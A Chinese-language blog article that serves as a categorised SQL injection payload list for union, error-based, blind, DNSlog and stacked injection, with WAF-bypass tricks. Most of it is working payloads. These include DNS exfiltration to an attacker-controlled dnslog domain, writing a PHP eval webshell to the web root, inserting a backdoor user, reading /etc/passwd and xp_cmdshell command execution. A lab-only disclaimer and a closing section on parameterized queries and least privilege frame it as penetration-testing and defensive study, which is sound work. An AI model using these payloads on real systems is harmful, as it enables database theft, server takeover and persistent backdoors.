SQL注入实战:从联合查询到盲注的Payload分类与绕过技巧
2026/8/5 5:32:29 网站建设 项目流程

1. 项目概述:一份真正能用的SQL注入攻击载荷清单

干了这么多年安全,不管是做渗透测试还是做代码审计,SQL注入这个“老熟人”总是绕不开。网上各种Payload清单满天飞,但要么是零散的代码片段,要么是过时的“万能密码”,真到实战里,面对五花八门的过滤规则和数据库类型,经常是“一顿操作猛如虎,一看结果原地杵”。

这份清单,是我从无数次靶场实战、真实渗透授权测试和应急响应中,一点点攒下来的。它不是一个简单的命令罗列,而是一套按攻击场景、数据库类型、绕过技巧分类的“武器库”。核心目标就一个:当你面对一个可能存在注入点的Web应用时,能快速找到最合适的Payload进行验证和利用,同时,作为开发者,你也能清晰地知道攻击者会从哪些角度“下手”,从而在代码层面进行精准防御。

这份清单的价值在于“场景化”和“可操作性”。它涵盖了从最基础的联合查询,到需要耐心“盲猜”的布尔/时间盲注,再到利用数据库特性进行报错、堆叠甚至文件读写的高级技巧。更重要的是,它包含了大量绕过常见WAF(Web应用防火墙)和过滤机制的“骚操作”,比如用%0a换行符代替空格、用/**/注释符分割关键字、利用宽字节编码“吃掉”转义符等。理解这些Payload背后的原理,远比死记硬背几个字符串重要得多。

重要提示:本文所有Payload及技术细节,仅用于授权的安全测试、渗透演练及个人在合法靶场(如DVWA、SQLi-Labs、PortSwigger Web Security Academy)中的学习研究。任何未经授权对真实网站进行测试的行为均属违法,需承担法律责任。安全技术的提升,是为了更好地构筑防线。

2. 核心思路:从“盲打”到“精准打击”的Payload分类体系

一份好的Payload清单,不能是杂乱无章的堆砌。我的分类逻辑基于攻击流程和交互反馈,旨在构建一个从信息探测到深度利用的完整路径。

2.1 基于回显方式的分类:决定你的攻击策略

这是最根本的分类维度,直接决定了你选用哪一类Payload。

有回显注入(Union-Based):这是最“幸福”的情况。应用页面会直接显示数据库查询的结果。我们的目标就是通过UNION操作符,将我们想要的数据“拼接”到原始查询结果中显示出来。攻击思路直接:判断注入点 -> 判断字段数 -> 判断回显位 -> 构造Union查询获取数据。

报错注入(Error-Based):页面不直接显示查询数据,但当SQL语句执行错误时,会返回详细的错误信息。我们的目标就是故意构造一个会出错的SQL语句,并让错误信息中包含我们想要窃取的数据。例如,利用updatexml()extractvalue()这类函数对参数格式的严格要求,通过拼接我们的查询结果来触发错误并回显。

盲注(Blind Injection):这是最考验耐心的场景。页面既不会显示数据,也不会返回具体的错误信息。你只能通过观察页面行为的“细微差异”来推断信息。这又分为两种:

  • 布尔盲注(Boolean-Based):通过注入逻辑判断(如and 1=1and 1=2),观察页面内容(如“用户存在”与“用户不存在”)或HTTP状态码的真/假(True/False)变化,一位一位地“猜”出数据。
  • 时间盲注(Time-Based):通过注入能引起时间延迟的函数(如SLEEP(5)BENCHMARK(1000000, MD5('A'))),根据页面响应时间是否显著延长,来判断注入的逻辑条件是否为真。

堆叠注入(Stacked Queries):在一些特定的数据库接口(如PHP的mysqli_multi_query())中,可以一次性执行多条用分号分隔的SQL语句。这赋予了攻击者极大的权限,可以执行任意数据库操作,如增删改查表、执行存储过程甚至系统命令。但并非所有数据库驱动都支持。

2.2 基于绕过技巧的分类:应对各种防御措施

现代应用很少会毫无防护。因此,Payload必须考虑如何绕过常见的过滤和拦截。

空格绕过:当空格被过滤时,可以使用/**/(注释符)、%0a(换行符)、%0d(回车符)、%09(制表符)甚至括号()来替代。

  • 1'/**/union/**/select/**/1,2,3--+
  • 1'%0aunion%0aselect%0a1,2,3--+

关键字绕过:对unionselectwhere等关键字进行过滤。

  • 大小写混合UnIoN SeLeCt
  • 双写关键字ununionion seselectlect(假设过滤逻辑是简单删除unionselect字符串)
  • 内联注释(MySQL特有):/*!union*/ /*!select*/ 1,2,3
  • 编码:URL编码、十六进制编码、Unicode编码等。

引号绕过:当单引号被转义('变成\')或过滤时。

  • 十六进制编码:将字符串转换为十六进制。'admin'->0x61646d696eselect * from users where username=0x61646d696e
  • 宽字节注入(针对GBK等宽字符集):利用编码特性,使一个特殊字符(如%df)与转义符\%5c)组合成一个合法的宽字符(如),从而“吃掉”转义符,让后面的单引号逃逸。%df'->%df%5c%27->運'

注释符绕过--#被过滤。

  • 使用;%00(Null字节)或;结束语句(在支持堆叠注入时)。
  • 利用' or '1'='1这种构造来闭合语句,而不依赖注释符。

理解了这套分类体系,你就能像查字典一样,根据现场情况快速定位到需要的Payload部分。下面,我们就进入实战环节,逐一拆解。

3. 联合查询注入:直截了当的数据窃取

联合查询注入是效率最高的一种方式,前提是页面有显式回显。它的攻击流程非常标准化。

3.1 标准攻击流程与Payload解析

第一步:探测注入点与闭合方式首先,你需要确定参数是否可控且存在注入。通过添加'")等符号,观察页面是否报错或行为异常。

  • id=1-> 正常
  • id=1'-> 报错或页面异常 -> 可能存在字符型注入,闭合方式为单引号。
  • id=1-> 正常
  • id=1 and 1=1-> 正常
  • id=1 and 1=2-> 页面内容消失或变化 -> 可能存在数字型注入。

第二步:判断字段数量(ORDER BY)使用ORDER BY子句,通过索引排序来探测查询结果集的列数。这是一个二分查找过程。

  • 1' order by 1-- -(正常)
  • 1' order by 5-- -(正常)
  • 1' order by 10-- -(报错Unknown column '10' in 'order clause')
  • 1' order by 7-- -(正常)
  • 1' order by 8-- -(报错)
  • => 字段数为7。

这里-- -是注释符,-后面有个空格,在URL中通常写作--++在URL中代表空格)。目的是注释掉原SQL语句中我们不需要的部分。

第三步:确定回显位(UNION SELECT)UNION拼接一个我们可控的查询,并用NULL或数字占位,观察哪个位置的内容会显示在页面上。

  • -1' union select 1,2,3,4,5,6,7-- -这里id=-1(或一个不存在的值)是为了让原查询结果为空,从而确保页面显示的是我们union select的结果。然后观察页面上的数字1,2,3...哪个被显示了出来,这些位置就是“回显位”,可以用来输出我们想要的数据。

第四步:获取数据库信息将回显位替换为数据库函数。

  • -1' union select 1,database(),user(),version(),5,6,7-- -这条语句可能会在页面上显示:当前数据库名、当前数据库用户、数据库版本。

第五步:枚举表名、列名、数据利用数据库的元数据表(如MySQL的information_schema)。

  1. 爆表名-1' union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database()-- -group_concat()函数将多行结果合并成一个字符串,方便查看。table_schema=database()条件限制只查询当前数据库的表。

  2. 爆某表的列名(假设表名为users):-1' union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_schema=database() and table_name='users'-- -

  3. 爆数据-1' union select 1,group_concat(username, ':', password),3,4,5,6,7 from users-- -

3.2 联合查询的进阶技巧与绕过

无列名注入:在极少数情况下,information_schema库被禁止访问。这时可以利用JOIN自连接或使用别名来获取数据。

  • -1' union select * from (select 1)a join (select 2)b join (select 3)c-- -(先猜字段数)
  • 更通用的方法是利用子查询:-1' union select 1,(select1from (select 1,2,3 union select * from users limit 1,1)a),3-- -。这里需要知道users表的列数,并通过反引号``引用别名来获取数据,操作较为复杂。

处理字段类型不匹配:如果联合查询时因字段类型不兼容报错,可以用NULL代替不确定类型的字段,NULL可以匹配任何类型。

  • -1' union select null,@@version,null,null-- -

绕过过滤示例: 假设unionselect被过滤,且空格被过滤。

  • 1'/**/UnIoN/**/SeLeCt/**/1,2,3--+
  • 或者使用内联注释:1'/*!UnIoN*//*!SeLeCt*/ 1,2,3--+

4. 报错注入:从错误信息中“榨取”数据

当页面没有显式回显,但会打印SQL错误时,报错注入就是利器。其核心是故意触发一个数据库错误,并巧妙地将想要查询的数据嵌入到错误信息中

4.1 主流报错函数原理与Payload

updatexml()extractvalue():这两个是MySQL用于处理XML文档的函数,它们要求第二个参数是合法的XPath路径。如果我们传入一个非法路径(其中拼接了我们查询的数据),就会产生错误,并将非法路径内容(即我们的数据)返回。

  • 1' and updatexml(1, concat(0x7e, (select user()), 0x7e), 1)-- -
    • concat(0x7e, (select user()), 0x7e):将波浪号~、查询结果、波浪号拼接。0x7e~的十六进制。
    • updatexml()执行时,发现~root@localhost~不是合法XPath,于是报错:XPATH syntax error: '~root@localhost~',数据成功泄露。
  • 1' and extractvalue(1, concat(0x7e,(select database())))- -原理相同。注意extractvalue()最多只能返回32位长度,超出的部分会被截断。对于长数据,需要用substring()mid()函数分段获取。

floor()+rand()+group by:利用group by语句对临时表进行分组时,因rand()函数在分组过程中的重复计算导致主键冲突而报错。

  • 1' and (select 1 from (select count(*), concat(database(), floor(rand(0)*2)) as x from information_schema.tables group by x) as a)-- -这个Payload相对固定,报错信息格式通常为:Duplicate entry '数据库名1' for key 'group_key'。其中的数据库名1就是我们想要的数据。这个方法的优点是不需要updatexml等函数,在某些过滤场景下可能有效。

几何函数报错:MySQL中一些几何函数(如geometrycollection()multipoint()polygon()multipolygon()linestring()multilinestring())对参数格式有严格要求,传入错误格式会报错。

  • 1' and multipoint((select * from (select * from (select version())a)b))-- -报错信息会包含版本信息。这类方法常作为updatexml被禁时的备选方案。

4.2 报错注入的实战要点与局限

数据截断问题:如前所述,extractvalue()updatexml()的报错信息长度有限(通常约32字符)。对于长数据(如表名列表、数据记录),必须分段获取。

  • 1' and updatexml(1, concat(0x7e, substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), 1, 30), 0x7e), 1)-- -使用substr(string, start, length)函数,从第1位开始取30位。然后通过修改start参数(如31, 61...)来获取后续数据。

布尔盲注的“近亲”:有时,即使有报错注入函数,WAF或代码也可能捕获了错误信息,不让其显示在前端。此时,报错注入会退化为一种“基于错误是否发生”的布尔盲注。你可以通过观察页面是否返回500内部服务器错误或一个通用的错误页面,来判断注入的布尔条件是否成立。这需要更精细的观察。

跨数据库兼容性:报错函数具有很强的数据库特性。

  • SQL Server:常用convert()cast()类型转换错误。1' and convert(int, (select db_name()))--
  • PostgreSQL:常用cast()1' and cast((select version()) as integer)--
  • Oracle:常用ctxsys.drithsx.sn()等不常见的函数组合触发错误。

实操心得:在实际测试中,updatexml()是我最常用的报错函数,因为它触发稳定,报错信息清晰。但在编写Payload时,务必注意闭合原SQL语句,并处理好数据截断。可以先select length(data)判断长度,再规划分段。

5. 盲注:在黑暗中摸索的持久战

盲注是SQL注入中最考验技巧和耐心的部分。它没有直接输出,你需要像侦探一样,通过观察应用的“蛛丝马迹”来推理。

5.1 布尔盲注:真与假的博弈

布尔盲注依赖于注入一个逻辑条件,根据页面返回内容的差异(True/False)来推断信息。差异可能体现在:页面某段文字的存在/消失、页面整体长度的微小变化、某个HTML元素的出现与否。

基础Payload模式1' and (条件表达式)-- -如果条件为真,页面表现与id=1相同;如果为假,则表现与id=1 and 1=2相同(即原查询结果为空或异常)。

信息提取流程(以获取当前数据库名首字母为例)

  1. 判断长度1' and length(database())=8-- -(如果页面正常,则库名长度为8)
  2. 逐字符判断:使用substr()ascii()函数。
    • 1' and ascii(substr(database(),1,1))>100-- -(判断第一个字符的ASCII码是否大于100)
    • 1' and ascii(substr(database(),1,1))=116-- -(判断第一个字符的ASCII码是否等于116,即字母‘t’)

这是一个二分查找过程。你可以写一个简单的脚本来自动化这个猜解过程。例如,判断ASCII码范围:大于128?否。大于64?是。大于96?是... 最终定位到具体字符。

进阶技巧

  • 使用likeregexp:当substrascii被过滤时,可以用正则或模糊匹配。
    • 1' and (select database()) like 't%'-- -(判断库名是否以‘t’开头)
    • 1' and (select database()) regexp '^test'-- -(判断库名是否匹配正则^test
  • 判断数据存在性
    • 1' and (select count(username) from users where username='admin')=1-- -(判断是否存在用户‘admin’)

5.2 时间盲注:用时间作为信标

当页面无论真假都返回相同内容,连一个像素的差异都找不到时,时间盲注是最后的武器。它通过注入一个条件判断,如果为真则触发一个时间延迟(如sleep(5)),通过比较响应时间来判断条件真假。

基础Payload模式1' and if((条件表达式), sleep(5), 0)-- -如果条件为真,页面响应会延迟至少5秒;如果为假,则立即返回。

跨数据库的时间延迟函数

  • MySQLsleep(5),benchmark(10000000, md5('test'))(通过大量计算制造延迟)。
  • PostgreSQLpg_sleep(5)
  • SQL Serverwaitfor delay '0:0:5'
  • Oracledbms_pipe.receive_message(('a'),5)

时间盲注的挑战与优化

  1. 网络抖动:延迟判断的阈值需要根据实际网络情况调整。不能只判断“大于5秒”,而应判断“响应时间显著长于基线时间(如id=1的响应时间)”。
  2. 性能影响:频繁的sleep会拖慢测试速度,且容易被监控发现。可以结合benchmark或使用更短的睡眠时间(如0.5秒),但需要更精确的计时。
  3. Payload构造:时间盲注的Payload通常更长更复杂,更容易触发WAF规则。需要灵活运用注释符和分隔符来绕过。
    • 1';select if(ascii(substr(database(),1,1))>100,sleep(3),0) from dual where '1'='1(一种绕过if函数被过滤的写法)

5.3 DNSlog外带注入:无回显场景的“曲线救国”

这是一种非常巧妙的技巧,适用于完全无回显(包括无时间延迟)但能执行DNS查询的场景。它利用数据库函数发起一个DNS查询,将要窃取的数据作为子域名的一部分,这样我们只需要监控DNS解析日志,就能看到数据。

原理:构造一个Payload,让数据库尝试连接一个由我们控制的域名,并将查询结果拼接到子域名中。

  • 1' and load_file(concat('\\\\', (select database()), '.你的域名.dnslog.cn\\abc'))-- -
    • 在Windows系统下,\\\主机名\路径是UNC路径格式,访问时会尝试解析主机名。
    • (select database())的结果如果是testdb,那么数据库就会尝试解析testdb.你的域名.dnslog.cn这个主机名。
    • 我们在dnslog.cn这类平台(或自建DNS服务器)上,就能看到有一条对testdb.你的域名.dnslog.cn的解析请求,从而得到数据testdb

注意事项

  1. 数据库权限:需要数据库用户拥有FILE权限(对于MySQL的load_file)或相应的高权限。
  2. 操作系统:UNC路径主要适用于Windows。Linux下可能需要其他方式触发DNS请求(如sys_exec)。
  3. 数据编码:域名有格式限制(不能有特殊字符)。通常需要将查询结果进行十六进制编码(hex())。
    • 1' and load_file(concat('\\\\', hex((select database())), '.dnslog.cn\\abc'))-- -
  4. 其他数据库
    • SQL Serverexec master..xp_dirtree '\\\\(select db_name()).dnslog.cn\test'
    • OracleUTL_HTTP.REQUESTUTL_INADDR.GET_HOST_ADDRESS(需要特定权限)。

避坑指南:DNSlog注入是高级技巧,成功率受环境限制大。在实战中,它常作为验证“注入点是否可外联”以及“在极度严格过滤下获取短数据(如数据库名)”的手段。对于大量数据泄露,效率远低于有回显或报错注入。

6. 堆叠注入与特殊场景攻防

堆叠注入是“威力巨大但触发条件苛刻”的技术。而二次注入、宽字节注入等则体现了安全问题的复杂性和隐蔽性。

6.1 堆叠注入:执行任意SQL语句的“神技”

堆叠注入允许攻击者一次性执行多条SQL语句,这几乎等同于拥有了数据库的完整操作权限。

支持堆叠的常见场景:PHP的mysqli_multi_query()函数、某些.NET的数据库驱动等。mysql_query()PDO::query()(默认)通常不支持。

高危Payload示例

  1. 数据窃取(当select被禁时)
    • 1'; HANDLER users OPEN; HANDLER users READ FIRST; HANDLER users CLOSE;-- -HANDLER是MySQL的一个底层表访问接口,可以绕过一些SELECT过滤。
  2. 文件操作(需secure_file_priv为空)
    • 写Webshell1'; select '<?php @eval($_POST[cmd]);?>' into outfile '/var/www/html/shell.php'-- -
    • 读取系统文件1'; select load_file('/etc/passwd')-- -
  3. 数据库结构操作
    • 创建后门用户1'; insert into users(username, password) values('backdoor', md5('hack'))-- -
    • 修改表结构1'; alter table users add column shell text; update users set shell='<?php eval($_GET[c]);?>' where id=1;-- -
  4. SQL Server命令执行(需开启xp_cmdshell
    • 1'; exec xp_cmdshell 'whoami'-- -

严重警告:堆叠注入的破坏性极强。在授权测试中,除非必要且与客户明确沟通,否则应避免使用写入文件、执行系统命令等高风险Payload,以免对目标系统造成不可逆的影响。

6.2 二次注入:潜伏的杀手

二次注入的逻辑是:数据在存入数据库时被安全地转义了,但在从数据库取出并用于新的SQL查询时,却没有被转义

  1. 注册阶段:用户注册一个名为admin'#的用户名。应用转义单引号,存入数据库的是admin\'#
  2. 登录/修改阶段:当应用从数据库取出这个用户名(admin\'#),并用于另一个SQL语句(如UPDATE users SET password='newpass' WHERE username='$username')时,如果取出的数据没有再次转义,语句就变成了:UPDATE users SET password='newpass' WHERE username='admin\'#'由于\'被数据库解析为字面量的单引号字符,而不是转义符,所以#注释掉了后面的所有内容。最终效果是修改了admin用户的密码,而不是admin'#用户。

Payload关键:寻找应用中将数据库数据“二次使用”的地方,如用户登录后的密码修改、密码找回、个人信息更新等功能点。

6.3 宽字节注入与编码绕过

宽字节注入:主要针对使用GBK、BIG5等宽字符集,且使用addslashesmysql_real_escape_string进行转义的环境。转义函数会在单引号'前加反斜杠\%5c)。如果我们在单引号前提交一个高位字节(如%df),数据库会认为%df%5c是一个合法的宽字符(如“運”),从而“吃掉”了反斜杠,让后面的单引号成功逃逸。

  • %df'-> 转义后为%df%5c%27-> 数据库GBK解码为運'-> 单引号生效。

编码绕过

  • 十六进制编码1' and column_name=0x61646d696e-- -0x61646d696eadmin的十六进制)。
  • Base64编码(需数据库支持解码函数,如MySQL的FROM_BASE64):1' union select 1,from_base64('YWRtaW4='),3-- -
  • CHAR()函数1' and substr(database(),1,1)=char(116)-- -(判断首字符是否为‘t’,ASCII 116)。

7. 自动化与防御视角:从攻击清单到防护策略

拥有这份清单,攻击者可以自动化攻击,防御者则能据此构建更坚固的防线。

7.1 基于Payload清单的自动化工具思路

手工注入效率低下,尤其是盲注。自动化脚本(如SQLMap)的核心逻辑就是基于这份清单:

  1. 探测与指纹识别:发送各种探测Payload,根据响应判断数据库类型、注入点类型(整型/字符型)、闭合方式。
  2. Payload库匹配:根据识别出的数据库和注入类型,从内置的Payload库(类似于本文清单)中选取合适的测试向量。
  3. 布尔/时间盲注自动化:实现二分查找算法,自动逐位猜解数据。
  4. 结果提取与优化:自动提取数据,并尝试使用不同的编码和绕过技巧来优化Payload,绕过WAF。

理解这些Payload,能帮助你更好地使用和定制自动化工具,而不是仅仅依赖默认配置。

7.2 开发者防御指南:针对每类Payload的防护

作为开发者,你的目标不是记住所有Payload,而是从原理上杜绝注入的可能性。

  1. 根本解决方案:使用参数化查询(预编译语句)

    • 为什么有效:它将SQL代码与数据完全分离。数据库引擎先编译SQL语句的结构(如SELECT * FROM users WHERE id = ?),再将用户输入的数据(如1)作为纯参数传入。无论参数中包含什么'"or 1=1,都只会被当作数据,而不会被解释为SQL代码。这是唯一能从根本上防御所有类型SQL注入的方法。
    • 如何做
      • PHP (PDO)$stmt = $pdo->prepare("SELECT * FROM users WHERE email = ?"); $stmt->execute([$email]);
      • Java (JDBC)PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE email = ?"); stmt.setString(1, email);
      • Python (sqlite3/MySQLdb):使用?%s作为占位符,并将参数以元组形式传入。
  2. 严格的输入验证与过滤

    • 白名单原则:对于已知有限集合的输入(如状态、类型),只允许列表内的值。
    • 类型强制转换:对于数字型参数,在代码层强制转换为整数/浮点数。$id = (int)$_GET['id'];
    • 转义是最后手段:如果因历史遗留问题必须拼接SQL,必须使用数据库特定的转义函数(如mysqli_real_escape_string),并注意字符集设置(避免宽字节注入)。记住,转义不能防御数字型注入,且容易因疏忽而失效。
  3. 最小权限原则

    • 数据库连接账户不应使用rootsa等高权限账户。根据应用需要,创建仅具有SELECTINSERTUPDATE等必要权限的账户。这可以极大限制堆叠注入、文件读写等攻击的破坏范围。
  4. Web应用防火墙(WAF)与运行时保护

    • WAF可以基于规则(如本文中的常见Payload特征)拦截恶意请求。但它是一种缓解措施,而非根本解决方案,可能被精心构造的Payload绕过。
    • 考虑使用RASP(运行时应用自保护)技术,在应用内部监控和阻断恶意SQL行为。
  5. 代码审计与安全测试

    • 定期进行代码审计,查找所有SQL拼接点。
    • 在测试环境使用SQLMap等工具进行定期的渗透测试,主动发现漏洞。

这份“终极Payload清单”的双刃剑属性正在于此。它既是指向漏洞的利矛,也是锻造盾牌的蓝图。真正的安全,源于对攻击技术的深刻理解,并将其转化为严谨的编码习惯和防御体系。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询